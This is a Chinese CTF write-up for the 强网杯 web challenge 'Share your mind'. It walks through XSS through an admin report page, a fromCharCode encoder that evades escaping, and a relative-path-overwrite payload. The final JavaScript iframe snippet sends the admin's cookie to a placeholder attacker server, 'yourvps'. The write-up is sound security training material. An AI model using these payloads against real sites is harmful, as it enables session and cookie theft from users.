​writeup | 强网杯—Share your mind

0x01 分析题目

拿到题目后,首先先分析一下题目,发现有注册和登录,尝试登录成功后,发现如下几个页面

Overview // 显示当前自己所有发帖

Write article // 发帖

Reports // 向网站管理员反馈(只能填写问题所在的url)

Export // 暂时没有

About // 简单的一个介绍页面

分析后感觉该题为XSS,因为存在Reports页面,且发送时含有验证码。

尝试发帖,发现发出后,可以创建一个空白页面来放置你所发的帖子。

可以发现,此时对敏感字符进行了一些转义。并且标题处含有h1标签。

尝试空标题发帖时,发现可以没有h1标签。

此时,我们有了一个很好的条件,如果该网站存在csp,即可通过在这里写入恶意代码,来造成xss。

0x02 尝试攻击

首先尝试在report页面发送XSSpayload,最终发现以下payload可用

http://39.107.33.96:20000?sda<script src=yourjs></script>

尝试获取cookie,成功获取到以下信息。

即:

  • 存在v1ewth3report.php页面
  • 当前页面cookie设有httponly。

然后尝试打其他的一些js,拖源码等。发现很迷!真的很迷!!基本都没法用。但是这个却是确确实实打回来了。

在确认脚本无误后,认真反思后,感觉自己方法错误。原因如下:

  1. 未有效利用到其他页面。
  2. 强网杯的题不可能这么简单。
  3. 难道有跨域之类的问题(这个一直很迷,自己感觉应该不会的,毕竟都成功一次了)

0x03 继续尝试

然后继续尝试,想办法用到文章页。即将代码写入该页。

因为有对特殊字符的转义,所以需要我们进行绕过一下。

此时采用fromCharCode来进行绕过。脚本如下

str1='youjscode'

payload='eval(String.fromCharCode('

for i in range(len(str1)):

payload+=str(ord(str1[i]))

if(i+1<len(str1)):

payload+=','

payload+='));'

print(payload)

生成payload后,可以直接发帖,然后记录下网址。

再次尝试刚刚的payload。

http://39.107.33.96:20000?sda<script src='http://39.107.33.96:20000/index.php/view/article/1234'></script>

此时报错,提示You can only submit my site's url,于是感觉有戏,可能是他后台的一些匹配导致的。想办法绕过即可。

尝试了ip的10进制,域名解析等。

冥思苦想之后,突然发现,自己是傻了么?

本来就是为了绕过同源,现在搞得又回去了。本来就是一个网站,直接用相对路径不就可以了么?

于是构造以下payload。

http://39.107.33.96:20000?sda<script src='./index.php/view/article/1234'></script>

然后成功绕过,正当自己开心之时,等待回显的到来。等啊等,等啊等。依旧没反应。。。

难道又错了么?

此时的自己处于一种懵逼状态,唉,还是太年轻!太弱了。对前端了解还是太浅。搞不明白啊!

于是默默去洗了个澡。回来继续肛。

0x04不服!继续!!

实在没有思路了。只好去默默查资料,看一下xss的各种姿势。

而且感觉这题也不像绕csp的,毕竟用户端连个csp都没有,怎么可能管理端再加上。

搜索后发现RPO攻击貌似符合当前情景。

【技术分析】RPO攻击技术浅析

尝试在文章页后添加字符,发现依旧返回文章页。此时开心的笑了。

然后跟着文章进行复现,最终构造payload如下,即可成功打过去!

http://39.107.33.96:20000/index.php/view/article/20530/..%2F..%2F..%2F..%2Findex.php

在这里我简单说一下漏洞原因,具体分析大家可以看一下rpo攻击的介绍。

此漏洞利用服务器与前端浏览器的解析不同,从而造成相对资源的引用错误。

服务器端:将../解析为上一级目录,进行退回,造成渲染页面为 http://39.107.33.96:20000/index.php

客户端浏览器: 将..%2F..%2F..%2F..%2F..%2Findex.php解析为一个文件,此时没有执行退目录的操作 所以导致相对资源引入时。 认为http://39.107.33.96:20000/index.php/view/article/20530/为该目录,然后进行引入。 然后由于路由解析的原因,造成引入未见为恶意代码。

此时由于该页面引入了js,即造成了rpo漏洞的实现。

然后就可以开心的通过js玩耍了。

最终尝试通过读源码无果(get方式有限制长度,且payload 有限制长度)。

于是又一次开始打cookie。发现hint如下

HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"

到这里就简单了,因为已经提示在这个目录下的cookie里有flag

然后构造js脚本如下,

var ad = document.createElement("iframe");

ad.src = "../../../../../QWB_fl4g/QWB/";

ad.id = "frame";

document.body.appendChild(ad);

ad.onload = function (){window.location.href="http://yourvps/?a="+document.getElementById("frame").contentWindow.document.cookie;

}

然后打过去,即可获取到flag。

0x05 参考资料

  • 【技术分析】RPO攻击技术浅析
  • 2018安恒杯二月赛-web-应该不是 XSS

原文发布于微信公众号 - 安恒网络空间安全讲武堂(gh_fa1e45032807)

原文发表时间:2018-03-27

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏张善友的专栏

MongoDB核心贡献者:不是MongoDB不行,而是你不懂!

近期MongoDB在Hack News上是频繁中枪。许多人更是声称恨上了MongoDB,David mytton就在他的博客中揭露了MongoDB许多现存问题。...

22610
来自专栏pangguoming

最火的Android开源项目整理

一、代码库 1、from  代码家 整理比较好的源码连接 ***************************************************...

7014
来自专栏互联网杂技

程序员保证能笑出腹肌

客户需求 vs 最终产品 ? requirements vs. implementation 程序员的一天 ? The Programmers life 寂寞...

3657
来自专栏JackieZheng

AngularJS in Action读书笔记4(实战篇)——创建Statistic模块

  个人感觉《Angularjs in action》这本书写的很好,很流畅,循序渐进,深入浅出,关键是结合了一个托管于Github上的实例讲解的,有代码可查,...

1967
来自专栏全栈开发

webpack构建优化:bundle体积从3M到400k之路

在CQM平台开发时,把demo网站给同事体验,都纷纷反馈第一次打开页面的时候需要等待很久,页面一直在转菊花。作为一个为韩国头部厂商提供优质服务的网站,接到这种反...

4054
来自专栏lestat's blog

树莓派玩耍记

这篇文章是自己入手树莓派之后的一些使用记录 前些天看 v2ex 上有人讨论树莓派,于是出于好奇在淘宝上淘了一只树莓派来玩玩 体积超级小… ? 一个板子,...

3315
来自专栏程序你好

一个微服务架构的简单示例

2903
来自专栏张善友的专栏

zookeeper 分布式锁服务

分布式锁服务在大家的项目中或许用的不多,因为大家都把排他放在数据库那一层来挡。当大量的行锁、表锁、事务充斥着数据库的时候。一般web应用很多的瓶颈都在数据库上,...

2118
来自专栏腾讯移动品质中心TMQ的专栏

【浅谈Chromium中的设计模式(一)】——Chromium中模块分层和进程模型

“EP”(中文:工程生产力)是目前项目中提升研发能力的一个很重要的衡量指标。笔者重点学习了Chromium产品是如何从代码和设计层面来保证快速高效的工程生产力。...

4688
来自专栏TSW

5201314对程序员意味着什么?

作为年轻人的潮流聚集地,Qzone在每个特殊的日子总会迎来一波猛烈的流量冲击。比如刚过去的520,下图是今年5月20号的流量情况:

2247

扫码关注云+社区